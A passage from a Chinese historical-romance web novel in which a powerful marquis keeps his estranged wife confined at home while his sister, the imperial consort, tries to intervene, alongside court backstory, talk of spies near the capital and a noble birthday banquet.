这话说得男人心下一软。 她确实把干净清爽的海风,带到了这污浊不堪的京城,只是…… 他目光在风铃上停了半晌,直到有人来请,说娘娘在后面的凉亭中。 陆慎如转去了后面,进到凉亭。 “娘娘有何事?” 陆怀如看了他一眼,只见他眼下泛青,便知道不知几夜没睡好了。 窦阁老都不能令他至此。 可见自己做的孽,最是难捱。 她径直道。 “你把静娘放出来。” 然而话音未落,男人转头就走。 陆怀如差点一口气没上来。 姻缘之事,她早已看透了。她此生不会再有自己的良缘,却不希望弟弟,把好不容易得来的心尖上的人折腾走。 她话音追着他背过去的身影。 “就你这石头一样的臭脾气,没人愿意同你和好。” 第59章 “就你这石头一样的臭脾气, 没人愿意同你和好。” 陆怀如都把话说到了这等份上,却见某人真如石头一样,果真油盐不进, 只哼了一声,头也不回地踏出了毓星宫。 贵妃捂了心口, 身边的宫人孟姑姑连忙端了温茶过来, “娘娘万万莫同侯爷置气,侯爷脾性如此,又不是一天两天了。好在他也是伤不了侯夫人的。” 话是这么说不错,但把人家关在家里算怎么回事?满京城里打听打听, 谁人把自己的娘子锁在家里? 陆怀如道,“明日再把他叫进宫里来!” 她发了话下去, 想着明日要把他摁在殿里,好生跟他分说明白,赶紧把人家放出来。 谁知翌日下了朝,跑去传话的宫人打了个来回, 什么人都没带回来, 苦着脸回禀。 “娘娘, 奴才照您吩咐,请了侯爷来毓星宫, 但侯爷根本无有理会,径直打马、扬长而去了。” 这话说得, 好似弟弟那冷峻不化的神色,都出现在了陆怀如眼前。 陆怀如眼前当真晃了一晃。 “娘娘!”左右宫人连忙上前扶了她。 好在贵妃还年轻, 不至于真气到倒了地。 只是她远远看去宫外永定侯府的方向—— 这臭脾气,爹娘不在,还有谁人能管得了他?! * 积庆坊, 永定侯府。 他晚间又回到了正房里。 杜泠静得了年嘉传的信,说她已经把事情同贵妃娘娘说了,贵妃娘娘当日下朝就请他进了宫,想来杜泠静很快就能被放出来。 可这前后五六日了,日子一脚跨进了三月里,他还是根本不许她出门。 可见是连贵妃娘娘,也根本管不了他。 此时杜泠静见他回来,就要睡去西厢房里去。门还没出去,就被他握住了小臂。 “你六天六晚,都没同我说一句话了。” 从他让嬷嬷熏香那晚之后。 可他把她关在家里不放她出去,连娘娘都奈何不了他,就如同他在朝堂里呼风唤雨,连窦阁老都不能压下他一样,他想怎样就可以怎样。若是慧王殿下上位,那么普天之下,更是任他予取予求。 但嘴巴长在别人身上,她不欲同他多说一个字,他还能撬开她的嘴巴不成。 她越发绷紧双唇不言语。 她一脸的冷淡,似河冰坠在心口之上,冷得令人心口缩了又缩。 但她不说话,他有什么办法能强迫她开口,只能将她打横抱起,将她困在床榻里面。 帷帐之间,迫她与他共枕同眠。 …… 次日他去上了朝,宫里却来了人,是贵妃娘娘身边的孟姑姑,自未嫁前就伺候她的人。 孟姑姑对侯府自是熟门熟路,但侯府如今的女主人已经换了人,孟姑姑丝毫不托大,不紧不慢地在外等待。 杜泠静却没想到娘娘派了孟姑姑来,连忙换了衣裳往前厅迎接。 她甫一到厅里,就明白了孟姑姑的来意。 贵妃娘娘让人赏赐了好多东西下来,打了慧王殿下尤爱她那海贝风铃的名义。可这些物什价值远在风铃之上。 娘娘不是道谢的,是实在拿自己的弟弟没有办法,来“道歉”的。 杜泠静当不得,孟姑姑却让她只管谢恩领下,接着遣了人散了,单独从袖中取出一物来。 “娘娘说那些都不当什么,侯夫人也不缺这些金银珠宝。但娘娘只盼夫人这些日子能稍稍开怀些,拾起从前的手艺,给夫人打了条络子。” 话音落地,杜泠静吓了一大跳。 她连忙站起了身来,“怎敢当娘娘为我打络子?!” 这事若说出去,当然是没有规矩的事,但孟姑姑却道。 “娘娘已经打了,夫人就手下吧,侯爷脾气确实……唉,只盼夫人别太计较。” 杜泠静心里明了。 络子其实不是给她打的,是为了娘娘那没人奈何得了的权臣胞弟。 娘娘也是心软之人,同某人真是不一样。 杜泠静只好接在了手中,收了过来,要叩谢,又被孟姑姑扶了起来。 那是一条水绿色的长绦子,可以系在腰间,也可悬于裙边。叠放在一起时,只觉制法繁复静美,是杜泠静完全不曾见过的,但让那绦子垂下来,却如同流水自腰间流淌而下,犹如山涧里的飞瀑一样。 杜泠静怔然,“娘娘手艺巧夺天工,对泠静亦是太过垂青。” 孟姑姑笑道,“娘娘只盼夫人能开怀些。” 她道这种技法本身就有祈福之意,“娘娘让夫人不必放起来,时常戴着才好。” 她说着又从袖中取出一条绦子里,“其实还有一条,是娘娘顺手,替侯爷也打了。” 但相比方才那条如同流水一般的绦子,这条给某人的,却黑不溜秋,且用了硬线,在尾出团成了一条黑团。 杜泠静看得迷糊,孟姑姑清咳一声。 “娘娘也是气到了,打了条发了黑的石头的绦子给侯爷……” 发了黑的石头…… 杜泠静紧紧抿住双唇,才将不该有的笑压了下去。 她连忙岔开话,赞了贵妃娘娘的女红,“想来娘娘时常为皇上和小殿下动些针线。” 她说去,不想孟姑姑没有接话。 孟姑姑道,“娘娘确实善于女红,尤其擅这种极其复杂的绦子,宫里的针线局里,会做这等络子的人也没几个。” 但她说打这种绦子太过费心神,“娘娘寻常也是无暇,多年未成做过了,尤其自雍王殿下离宫别住之后……” 孟姑姑说到这,不再继续,只轻叹了一声。 杜泠静多少了解一些。 雍王自他生母邵氏去世后,两三岁就跟了刚嫁了殷王的陆怀如,一直跟着她长大,从一个步子蹒跚的小儿,到渐渐长成少年。他不会记得生母邵氏,但一定记得将他养大的陆怀如。 可最终,母子还是生了嫌隙。 关于宫里众人的密事,杜泠静也是一知半解,恐怕除了当事之人,以及“无所不能、无所不通”的陆侯,旁人都不能知晓全貌。 好似陆怀如当年嫁进殷王府的事,彼时杜泠静正随父亲在京中,算是亲见了此事,却也只知其一,不知其二。 那正是弘启十四年,永定军被困关外,鞑靼突然要与朝廷议和,朝中文武就主和还是主战,几乎要在朝堂上大打出手。 彼时先帝的三、四、五皇子皆南下代先皇祭祖,并不受宠的殷王也就是如今的皇上,未能同行,留在了京中。 但先皇因文武之间主和还是主战争论不休,他亦无法决断,竟急火攻心病倒。这等时候,几位争储的年长的皇子皆不在,只能领殷王临时监国。 殷王于此事上一下有了决断之权。 便是此时,陆怀如入了殷王府,这位众星捧月的陆氏大小姐,自愿给殷王做了妾室。 人是先入了王府,而后才补了纳侧妃之仪。 她悄无声息地嫁过去之后,殷王立时将议和之事暂时搁置,一力主张调兵援助永定军,虽然晚了些,永定军已死伤无数,却也没有彻底折损,后才渐渐恢复至如今…… 那时,贵妃娘娘陆怀如,也才刚刚十八岁。 有传闻她其实与永定军中一位年轻将领早就定了亲,杜泠静不知是否确有其事,但那会她家中父祖皆在边关,母亲过世,祖母卧病在床。 半数的永定军等着人支援,朝中僵持不下,无人拍板。 独她为永定军的生死拍了板。 她舍了自己陆氏大小姐的身份,一顶小轿入了王府,做了最不受宠的殷王的妾。 若是殷王没有后来登基为帝,陆氏大小姐陆怀如的命途当如何? 无人知晓。 …… 孟姑姑与杜泠静说了会话,说起娘娘也甚是喜欢她送去的海贝风铃。 “殿下就更不用说了,一时挂在廊下听风吹,一时又贴在耳朵旁,问海浪声到底是什么样?” 两人聊了一阵就不早了,恰那位“不可一世”的侯爷下朝归来,孟姑姑道娘娘还有几句话要传于他,便告辞离了去。 杜泠静不知贵妃娘娘又提点了自己的弟弟多少话,可她还是被他关在家中,一步都踏不出去。 谁来下帖子都没用,唯独靖安侯夫人七十七岁喜寿,他将帖子拿到了她书案上来。 杜泠静若是干脆就不出这个门,他也拿他一点办法都没有,但这是满京的大事,杜泠静看在贵妃娘娘的面子上,没多计较。 但她还是不跟他说话。 第八日,回京养伤的忠庆伯世子魏琮登了门,顺带将年嘉一并带了过来。 他二人是带了喜礼过来的,杜泠静也去了前面的厅里,一眼看见年嘉身边立着个高大威武的男子。 他身高与陆侯相仿,但显然是不曾脱离战场的将领,通身皆有风沙吹粝之感,更添威猛之气。年嘉站在他身侧,倒显得娇小了。 她在两人身上多瞧了瞧,尤其见着年嘉在这位魏将军身侧,总有些说不出的不自在,她不禁更悄然多看了魏琮两眼。 但就这两眼,被某人紧紧地捉住,他压着眉头,眸光问她看人家的夫君做什么? 杜泠静可没他这么多心思。 况她已经不能出门了,看人也不能看了吗? 以她之见,魏琮比他年岁长一岁,人却比他稳重不知多少,四平八稳地坐着,沉稳寡言间,是喜怒不形于色的书中大将风范。 反观某位权臣侯爷,嚣张跋扈惯了,眼角眉梢都是恣意淫威,不知怎么就叫了“慎如”二字。 慎终如始? 他看起来完全不是那种战战兢兢、如履薄冰的人。 他还在盯她,眸色更深更沉了,杜泠静不想理会,但也确实不好一直瞧别人。 这会她见下人上了茶来,他右手伤着,厚厚地缠了白布带,茶水放到了他左手边,但他左手也有两根手指受伤。 年嘉不禁向他看去,怕他左手不惯用,亦有手指受伤,去端滚茶端不起来。 但魏琮面色无有一丝改变,不疾不徐地先捏着碗盖撩了两下茶叶,反而放了盖子,稳稳当当端了起来,颤都没颤一下。 杜泠静见年嘉显然松了口气,可目光不经意间,却忽然与她夫君投去的目光撞了个正着。 两人目光隔着厅中央的空荡,在半空中倏然偶遇,年嘉便连忙别开了去,装作一副完全没着意过对面的人能不能吃茶的样子,掩饰地用茶碗盖子隔开与他的视线,低头在茶盅里连着啄了好几口。 杜泠静一边瞥见了她那仓皇的模样,一边却见魏琮可没她那般古怪,眸色缓着,眉眼间似乎还添了二分不易察觉的笑意。 而年嘉根本不敢多看人家一眼。 杜泠静在书楼里与书打交道惯了,倒是第一次觉得眉眼官司还如此有趣。 不过年嘉也发觉她在看了,连忙朝她瞪来,而魏琮也同上首的侯爷,说起这半年来陕西都司和陕西行都司所辖军中之事。 四人先浅浅说了几句,宗大总管令人摆好了宴席。陆侯夫妇自是邀请二位贵客赴宴。 到了宴席上,宗大总管亲自为魏琮布菜,魏琮连道不当,陆慎如只让他稳稳坐好。 他右臂连同右手伤势极重,左手也不方便,好在走动并无阻碍。 宗大总管为他布好菜便下去了,宗大总管走了,杜泠静便见年嘉又偷看了他几眼,然后趁他不注意,飞速夹了一筷子菜给他。 有点像是应付差事照应他,却连应付差事都不让他瞧见。 他是在同陆慎如说话,可这句正好说完了,回头时捉到了年嘉放了菜就飞走的筷子。 “多谢郡主。”他轻声道。 年嘉完全没想到,这么快还是被他看见了,不得不回了一句却也不敢看他,只催促道。 “世子快些吃吧。” 男人眉眼含笑。 “好。” 杜泠静觉得有趣极了。按照年嘉之前给她的说法,说在西安无聊得要命,也不曾去找过魏琮,两人虽然成婚三年,但跟陌生人也差不多。 可眼下看来,恐怕人家不当她年嘉郡主,是陌生不相熟的人。 杜泠静正暗暗觉得有趣,却发现自己碗中也落入了一筷子菜。 有人也给她夹了菜。是一筷子无刺的鱼身嫩肉。 是那位侯爷。 照理,她也该说一句“多谢侯爷”,但杜泠静没开口。 陆慎如又往她碗中夹了连筷子菜,她还是不开口,就当没看见一样。 八天了。 陆侯这顿饭吃的,只觉不是鱼被割破了胆,就是时蔬里被放了黄连,一道比一道不是滋味…… 一顿饭下来,酸甜苦辣各有人尝到。 四人在花园里浅行了几步,魏琮不远万里从西北回京,自不是回来吃饭的,陆慎如也晓得他的意思,不时便吩咐人随着夫人、陪同郡主往后花园游春,自己则与魏琮往远岫阁单独说话。 那二人不在,杜泠静和年嘉倒也乐得自在,尤其年嘉大松了口气。 杜泠静笑问,“我瞧着世子为人甚是稳重周道。” “谁说不是了?”年嘉回道。 “那怎么你同世子……” 成婚三年还古古怪怪的? 后半句杜泠静没问出来,但年嘉怎么会听不懂,可她直接岔开了去。 “我们去假山上的漱石亭吧,我瞧着那风光不错。” 杜泠静好笑,见年嘉不想提,自也顺着她不再多言。 倒是年嘉忽的看见了她腰上系着的长绦。 “咦?你这绦子甚是精巧,难得繁复不失灵动,谁人做的?” 杜泠静想到是她请了贵妃训斥某人,便低声告诉了她,“是娘娘给我打的。” 年嘉也吓了一跳。 她道,“陆侯可真厉害,娘娘也治不了他。” 杜泠静也不想提这事了。 不过年嘉看着那绦子道了句。 “我倒是在陕西,听见些关于娘娘的旧事,不知是真是假。” “什么旧事?” 年嘉左右看了一眼,见周围无人,才轻了声。 “娘娘从前也是定过亲,定的是她外家郭氏的一位年轻将领,但弘启十四年永定军遭遇重挫时,娘娘嫁给了皇上,同那位郭将军自是分道扬镳了。” “那位郭将军呢?” 年嘉抬头往西北方向遥遥看了一眼。 “娘娘嫁人后的第三年,他战死在了沙场上……” * 外院远岫阁。 陆慎如与魏琮没什么可绕圈的。 两人自幼一道在军中熬打,一起出生入死不知多少次,他来到京城,踏入朝堂,魏琮便替他留守边关,坐镇西北。 当下他直接问,“你此番回来,可是当年那些细作,又现身了?” 他说完,见魏琮神色敛起,缓缓点了点头。 第60章 积庆坊, 侯府漱石亭。 年嘉郡主站在假山高处,迎风看着不远处的皇城,莫名觉得这个从小长大的地方, 竟变得遥远起来。 “不知道我是不是在陕西太久了,比起宫里宫外锦衣玉食的贵人, 我倒是总能想起西北边关那些戍关的兵将, 尤其是永定军中的人。” 她说弘启十四年,永定军遭遇那场惨烈重创,“我们那时都年幼,远在京城, 只能感到心惊胆战。” 确实,彼时杜泠静只见父亲自永定军出事后, 来往信函密集起来,不是招人来府里商议,就是出门与人相谈,会彻底不眠地写奏疏往上递去, 那会父亲尚未位列阁臣, 他能做的十分有限, 但却也为平息祸事自处奔走。 年嘉说自己彼时只觉惊忧,“但我到了西北才知道, 那一年永定军死伤到底有多惨烈。” 她首先便提及了陆慎如的父亲,彼时的永定侯世子, “他是下一代的永定军执掌之人,无人质疑, 万众归心,但就这么生生折损在了关外,消息传回来的时候, 莫说陆氏、陆老侯爷与陆慎如,其他各家各姓的将领,乃至寻常军民,都痛哭失声。” 没有陆氏一代又一代人,死守在西北边陲,军民皆不能安,又哪来京师中原的平静繁华? 漱石亭上,杜泠静让人上了茶来,年嘉没坐下饮茶,仍站在风里。 她说那场折损死的人太多了,远不止陆家的人,其他各家各府,上到早在太/祖时就丹书铁券在手的贵勋,下到西北当地生生杀出来的军中将领。 那年,几乎军中家家户户都挂了白帆,哭声撼天震地。 年嘉最后说了忠庆伯府魏氏,也就是魏琮家。 “世子的亲叔父,被鞑子生生割了头,悬在高岗上三天三夜。待血流干,鞑子取下他的头送到京城,要求和谈……” 漱石亭的风停了一停。 杜泠静想起了这件旧事。 那天父亲从朝堂回来面色沉落至极。 父亲告诉她,忠庆伯府魏氏最能征善战的将军陷落了,被鞑靼人生割了头送回了朝中。 头颅在大殿上显露的那一刻,不知多少文臣抖了腿。 “议和!议和就议和吧,永定军只怕也不成了……”他们吵着。 年嘉那万事抛了便不再往心中去的性子,也会有长长叹息的一天。 她说她随着魏琮到西北的时候,永定军已重振了旗鼓。 她道,“自是少不了你家这位陆侯,在朝中为他们坐镇。” 她瞧了杜泠静一眼,见杜泠静没说话,没再多言,只道。 “在西北兵将军民心中,只有往后,贵妃娘娘携子坐到至高无上的位置,陆慎如大权总揽,他们才能安下心,继续以血肉之身镇守边关。” 她又叹,“终究是弘启十四年那场战事,太伤太痛了。” 杜泠静亦沉默了起来。 她没有往府外的皇城高墙看去,只是默然俯瞰整个永定侯府的一花一草一木。 * 永定侯府,外院远岫阁。 陆慎如只提了“细作”二字,便见魏琮缓缓点了头。 弘启十四年那场战事之后,陆慎如祖父陆老侯爷便让人细查了出事的根源,最后查来查去,竟发现军中将领间潜伏了细作。 有鞑子细作潜藏进来不是稀罕事,但当年永定军率军出征,各种细节严格保密,寻常细作根本渗不进来。 而那次的细作不仅窃到了极其重要的作战部署,神不知鬼不觉地传了出去,更重要的是,他们完全不知是谁人派来的细作。 之后陆慎如祖父让人摸查鞑靼各个部族多年,却无论如何都差不多当年那群细作的来处。 直到发觉这群人的身影在河南山东一带现了身。 那一年,便就是殷佑二年,陆慎如得祖父密令,悄然前往豫鲁一带查寻细作痕迹,刚查到些微线索,便为少年招来杀身之祸。 他重伤躲入杜家的勉楼一整个夏日,这才堪堪躲过一劫。 可惜陆恒如未能。兄弟二人离开青州后,又寻线索而去,那一日,陆恒如为兄挡箭,死在了他大哥怀里。 陆老侯爷痛失次孙,却也下了严令,细作之事不要再查。 如此一过多年,直到陆慎如袭爵永定侯,执掌永定军,一步跨入朝堂之中。 他重启此事,交代给了魏琮。 “怎么说?”陆慎如问去。 陆侯爷的远岫阁,自然不会有走漏风声的可能。 魏琮直道。 “那群细作现身了,就在京畿。” “京畿?”陆侯挑眉。 这群细作来路十分不明,有些生着鞑子相貌,有些则完全是中原面目,他们出没潜藏交替而行,背后的势力显然不容小觑,护着他们安然藏匿多年,有时在关外,也有时在中原。 如今,竟然到了京畿。 魏琮道,以他得来的线报,“他们在京畿一带,有一处秘密据点。我隐约掌握了此地位置,但暂时无有打草惊蛇。” 所以专程回京来与陆慎如商议。 这些细作不是寻常人,背后的势力更加不同寻常。 陆慎如闻言,没有立时回应,只墨色深瞳凝着,遥遥往远处看去。 他忽道,“侯府在宛平有一处山房别院,等过几日靖安侯夫人寿宴之后,你携郡主过去小住些日子,好生休养一番。” 他道,“待我得闲,必前去探望。” 魏琮立时明白了他的意思—— 探查细作之事,陆惟石要亲自前往。 …… 远岫阁叙话结束后,时候便不早了。 不过两人都没让人传话,请两位夫人过来,倒是不约而同地亲自去寻。 刚走到后花园,便见杜泠静和年嘉也已在园中转了一小圈,折返了回来。 两人的目光皆落过来,各自落去各自的娘子。 杜泠静只当没看见,一分反应也无,某位侯爷眸色深落。 但年嘉只觉对面她那世子夫君的目光,缓缓落过来,便觉脚下的地板都烫了起来,左也不是右也不是,总归是浑身上下都难受。 她连忙道时候不早了,“世子你不是要吃药?咱们赶紧回去吧。” 魏琮笑眯眯地点头,她说什么,都道,“好。” 但她可太不自在了,引得陆慎如都瞥了她一眼,杜泠静则偷偷笑了一笑。 待到将他们二人送去前院,还忍不住偷笑一声。 年嘉怎么没听到她的偷笑?脸隐隐发热,只是等到同人一道坐在了马车上,不光脸了,连耳朵和脖子都热了起来。 魏琮受了伤,当然不能骑马,这会就坐在年嘉身侧。 年嘉在主他在侧,但他就这么一坐,就好像把整个车内的空间都占据了。 年嘉不敢看他,只从眼角偷看了一眼,见他闭目养神,她稍稍松了口气,却不禁想到前些日的事。 彼时她得了他受重伤的消息,实在是惊到面上血色全无。 她难以想象,他那般骁勇善战的模样,怎么会受重伤到特特有人往西安告知她。 他寻常受伤是不会跟她说的。 那么得是受了多重的伤?不会就此……没了吧? 她吓坏了,急奔去了宁夏,待见到他闭着眼睛躺在床榻上。 她上前禁不住便问。 “世子,你死了吗?!” 她问过去,整个房中静了一静,一旁伺候的亲卫和大夫都不知道怎么说话了。 还是躺在病床上的将军,在这句问话下,不得不掀开眼帘看了她一眼,亲自回了她。 “尚未。”他回答。 又问,“郡主想让我死吗?” 她的回答竟也与他相仿。 “还不想!” 她还不想裕王府里只剩寡妇。 太妃娘娘没了先帝,她母妃也没了她父王,总不能连她也守了寡! 她赶忙给他摇头,男人笑了起来。 “那我便活着。” 他道,“我亦不想让郡主改嫁。” 马车吱吱呀呀地驶在路上,那天他说完这句,目光看着她一直含着笑。似乎也不只是那日,她似乎总能在他瞧向她的目光里,看见些轻柔的笑来。 但他在笑什么?她年嘉郡主很好笑吗? 况她与他也不熟吧?除了洞房花烛那日,外面有宫人守着,他们在了一起,之后,她可没同他同床共枕过…… 年嘉脑袋里像一团线胡七胡八地缠了起来,她干脆也闭起眼睛,闭目养神。 倒是一旁的魏琮,眼帘微掀,笑着瞧了她一眼。 * 永定侯府。 杜泠静待到年嘉走了,想到她别别扭扭,如同一只白软的蚕左扭右扭的样子,就忍不住想笑。 她眼角眉梢都添了笑意,春风轻柔抚在她细长的羽睫上。 她多少日子没这样笑过了,陆慎如恍惚看着自己娘子,不禁柔声道了句。 “我们晚间去枕月楼吃饭吧?” 盎然的春风流动在两人之间,但却在这句话落地后,风动滞缓了一息。 杜泠静看了他一眼,“侯爷要放我出去?” 八天了。 她终于跟他开了口,说了第一句话。 但这个问题,男人没有回答。 没回答,便不是放人。 杜泠静转了身,他却抬手拦了她的步子。 “听闻近日枕月楼里有祭花神的舞乐。” 就是没有,她只要说去,他能立时令人奏乐舞动起来。 满京任他差遣。 但杜泠静只淡淡笑了一声。 “看来侯爷得了闲,要亲自带我出去……” 她微顿,看了他的眼睛,“放、风。” 放风。 囚犯的待遇。 这两个字直扎的陆侯心头一滞。 方才春风浮起的她脸上的笑意也没了,陆慎如不知她怎么能跟他说出这样厉害的话来。 而她道,“我哪也不去。” 她低头往回走。 石板泛起的凉风,被她裙摆抽打着向他漫来。 陆慎如觉得自己快死了,仅此而已。 …… 傍晚的侯府下了一阵春雨,墙角砖缝里湿湿潮潮。 杜泠静吩咐秋霖烧了水来,整个人没在高深的桶中,短暂摒弃一切所思所念,闭着眼睛小憩了片刻。 等她醒来,见秋霖已往她桶中添了好几次水,热水几乎将她淹没,整个浴房中湿气蒸腾,如浓雾般弥散着,人影都朦胧了几分。 杜泠静见状,最后拧了头发,轻声叫了人,帮她把裹身子的长巾子拿过来。 有人从她身后走了过来。 她还在拧着头发,没太留意,直到长长的巾子裹在她肩头,又绕在她身前,将她环着整个包裹了起来。 她察觉背后的人身形不太对。 而他则径直将她打横抱出了高深的浴桶。 她在他臂弯里,轻地似一捧柔软的春花,又沾了春雨,发梢的水滴哒哒落在地上,又漱漱滑落到她长巾半裹的胸前。 胸前的白巾瞬间湿透了,贴着柔嫩起伏的花骨朵,透出别样的姿态。 杜泠静连忙将长巾向上拉了又拉,连同锁骨一道紧紧遮住,抬眸向他嗔看而去。 他不会又犯了病,要今晚与她要孩子吧? 杜泠静绷了身形。 男人立时察觉到了。 水雾弥散在浴房之中,缓慢地在半空悄声潜行。 他受过创的嗓音低哑着,犹如一滴就要坠入黑渊中的水滴,向下沉沉坠着。 “我不动你。” 他说不动她,便就真的没有乱来半分。但他也没把她放下来,好似她根本无甚重量,真就如一捧花一样,他就静静地将她抱在怀中。 外面候着的秋霖他们,显然都被他支开了。窗外隐有虫鸣,春虫的夜鸣尚不刺耳,时不时地轻轻响上一声,如远处传来的鼓乐一般。 他抱着刚刚出浴的她,坐在了窗边的长凳上。 他把她放坐在他腿上,杜泠静要下去,他不让,又拿过一条白巾帮她裹了身。 杜泠静是不冷了,但却被裹成了蛹,动不得了。她干脆不再动,看他到底是要做什么。 她自是没什么好神色对待他。 他什么也没说,今日异常安静。 月光自窗外偷偷流转进来,从弥散的水雾里穿梭而过,隐隐有如银粉般的晶莹闪烁。 杜泠静见他始终安静如许,既不言也不动,只就这么抱着她,不由地从眼角,悄然看了他一眼。 月光从他鬓发边掠过,打在他高挺耸立的鼻梁上,将鼻梁上两刀陈年小疤清晰地勾勒出来。 而他眼眸垂着,没抬眸定定看她眼睛,只将目光落在她肩头上。 平日里傲然英眉,此刻沉落地蹙着。 月色旖旎,他真的什么都没说也没做,就这么抱了她半刻钟。 他今晚的安静沉默,连杜泠静都完全不适应了。 而他则趁着浴房冷下来之前,将她放了下来。 他把她放在一旁的竹榻上,他则起了身。 月光洒在他被她沾湿的锦袍上,他没回头,只低声。 “我知道你不想看见我,我走了。” 言罢,走出了门去。 他出了门,秋霖和艾叶立时小跑进了房中。 杜泠静无恙,目光却不由看去窗外他离开的方向。 隔着厚厚的窗纱,她看不见,只能听到他沉沉的脚步声,渐渐消失在春夜的虫鸣里。 * 靖安侯府寿宴这日,他一早让人送了一套大红珊瑚镶金丝的头面来。 杜泠静已换好了一身偏素淡的蜜合色绣兰花的褙子,便没戴他的头面。 今日京城因着这场寿宴热闹非凡。 靖安侯府虽是武将贵勋的门第,但靖安侯在东南抗倭多年,与文臣世家亦相交不错,此番他留守京中的夫人七十七岁喜寿,连皇上都十分看重,京中但凡有些头脸的人,无不亲自前往道贺。 杜泠静没在这事上再同人赌气,况且她已经与年嘉说好,届时在靖安侯府相见。 不过杜泠静却想起另一桩事来。 这场寿宴,锦衣卫指挥使魏玦也要去。 年嘉与魏玦当年的事,她不甚清楚。 只是不知两人会不会遇见。【你现在阅读的是 】 60-70 第61章 但凡宴请, 哪怕是宫宴,他都要到最后才姗姗出场。 今日也不例外,杜泠静着一身偏素淡的蜜合色绣兰花的褙子, 戴了一套银丝珍珠的头面,梳妆后坐在窗下不急不慢地看了一阵书, 待天色果是不早了, 才听得宗大总管派人来传了信。 “侯爷请夫人出门。” 杜泠静一路行至马车旁,见他正负手立在马车旁,同人吩咐事。 不管是谁家的宴请,他要旁人等他, 可但凡有出门之事,他倒是会提前几息, 在马车旁等了她,从未让她等过。 杜泠静转过门走了过去,脚步刚至,他便停了吩咐的话, 转头向她瞧来。 似是一眼就看到了她发髻上, 没着他早间遣人送来的珊瑚头面, 眸色转了阴。 杜泠静不理他,这可是时隔多日的出门, 她径直往马车前走去。 不过她走过去,他也上了前来。 平素多时秋霖或者阮恭扶她上车, 但此番她未抬脚,他就递过了手来。 男人身形高挺如松柏, 此刻立在她车边抬手等她相扶,再没有比他更安稳的存在。 但杜泠静自眼角悄然向他瞥去,有意没看到他伸过来相扶的手。 她只当无人相扶, 侧身扶了车框往上去。 她错开他,自行扶车上去,刚登了半步,便觉等候的身侧男人滞了一滞。 无人敢动,只有崇平急忙走上前来。 他只怕夫人登车摔了,侯爷脸色只怕是要绷不住。 他只能伸了手去,亲自扶了夫人上车。 杜泠静又不同崇平置气,相反,她时常为崇平要小心伺候那位侯爷感到同情。 这会崇平伸了手,她便也从善如流地扶了崇平的手腕,上了马车。 杜泠静自不觉有什么,崇平也不敢有任何多余的动作与表情。 但一旁的崇安却觉心都替他哥提了起来—— 侯爷脸色阴沉得要命,目光就压在他哥被夫人扶了一下的手腕上。 他哥的手腕还能保得住吗?! 崇平手腕上亦暗暗发凉,却不得不温声劝道。 “侯爷,时候不早了,上马吧。” 陆侯眸色闷沉,最后往马车上看了一眼,这才上了自己的马。 …… 杜泠静倒是一路心绪不错。 前日本家的大哥杜济沧往澄清坊去了一趟,文伯让人传了话来,说沧大爷面有红光,似是会试的文章做得不错,考后与人交谈,知悉他所做的文章与主考出题甚是相合。 他将彼时所做文章又做了一遍,请了廖先生、洪大人和扈廷澜他们帮忙审阅,三人都觉得以沧大哥此文,必能在会试中拿到名次。 众人皆如此认为,虽然张榜还要几日,但沧大哥难免面有春风。 若是他此番能高中进士,杜家往后不再是她叔父杜致祁这位同进士当家,而是有了正儿八经的进士,乃是另一番新气象了。 而沧大哥审时度势之目光,可比她叔父强得多。 不过沧大哥也同文伯说了几句蒋枫川的情形。 六郎的文章剑走偏锋,与沧大哥的四平八稳不甚相同,但六郎见解独到,也不是不可能高中。 但不论如何,最后的结果,还要等下半月,会试张榜才能知晓。 马车吱呀往靖安侯府而去,果然他们到的时候,门前宾客都进得差不多了。但靖安侯府专门留了人,等得就是姗姗来迟的陆侯。 他自是与人寒暄,往杜泠静看来,杜泠静没理会他,由人引着先往里而去。 他很快跟了上来,就跟在她身后,两人先去见了今次过寿的靖安侯夫人。 老人家高坐在特为她制的红木寿椅上,见了两人联袂而来,便笑着同二人点头。 她年岁长辈分高,周陆两家又相交甚笃,老人家见了陆慎如,便如见到了自己的孙辈,眯着眼睛笑着瞧他。 陆慎如也不再一副不可一世的样子,在他老人家面前难得的谦逊稳重、礼数周道,引得杜泠静都稀罕地多瞧了他一眼。 他早就备好了寿礼,让崇平亲自捧了上来,靖安侯夫人笑着收了,让儿媳回了礼,却不是给他,而是一对通体无暇的白玉镯,送到了杜泠静面前。 玉镯与陆侯带来的贺礼价值自是不能比,但周家的人却同二人道。 “这一对玉镯,是当年我们老太君出嫁时戴在手腕上的陪嫁,今日赠了夫人,寓意如何,想必侯爷、夫人一定晓得。” 靖安侯与夫人皆年逾古稀,两人自少时结发相伴,一路风风雨雨直到古稀之年,这对她老人家当年出嫁时戴在手上的玉镯,可不是寻常贺礼的价值所能衡量。 杜泠静还未及开口,身侧的侯爷眸色全然缓了下来,他先开口。 “多谢您的心意。” 又深行一礼。 杜泠静亦连忙行礼道谢,靖安侯世子夫人则亲自将这对白玉镯,戴在了杜泠静手腕上。 她手腕皓白细软,袖间自带一股淡淡的书香,此刻一双白玉镯落在皓腕,更衬得她通身气韵出尘。 上首的老寿星,跟她笑着点起头来。 “看来这对镯子,本就该是你的。” 她老人家这般说,众人也都在旁附和,携手白头的话,不知几人说过。 杜泠静只觉有人的目光一直定在她身上。 她不必看也知道是谁。不过说起来,她得了这般名贵又合宜的镯子,自是他那贵重的寿礼换来的。 杜泠静不想今日同他置气,不时从拜寿的礼堂离去,便往后寻年嘉去了。 只是刚走了没多远,忽得在前遇到了一个多年不见的人。 杜泠静从前在宫里了了见过他的几次,他都穿了或银白或月白或玉色的长袍,束一根白玉带在腰间,贵气中扶动几分书卷气,通身气质纯净无暇。 年嘉最喜欢他穿这等浅淡的锦衣长袍,他便总进宫时穿给她看。 年嘉还某次突发奇想地问过她,“静娘你说,以我这糟糕的针线活计,有没有可能给魏玦做一件合身的银白色锦袍?” 她喜欢他穿那银白的颜色,但彼时的女红连给自己缝帕子都拉不直线。 她是宫里长大的郡主,是裕王遗在世间的唯一珍珠,什么样的针线活需要她亲自动手,所以技艺莫说不精,能囫囵做出来都难。 杜泠静只能安慰她,“等过几年不迟。” 但几年之后,年嘉与魏玦分道扬镳,再无往来,那件年嘉突发奇想的银白锦袍,想来也随风消散在旧时的记忆里了。 此刻男人立在墙下的树荫里,他穿了一身通身无纹的素面墨蓝色长袍,束了一根无有矫饰的黑色锦带,他背身立在杜泠静面前不远处,树荫将他笼在阴影之中。 有个四五岁大的小姑娘仰着脑袋跟他问路。 小姑娘显然不知他是何人,胡乱叫了他。 “世叔,你可见到了我娘亲?” 男人身形高挑,小姑娘却只有丁点高,仰头同他说话费劲,他蹲下身来。 “你娘亲是何模样?”男人声音很轻。 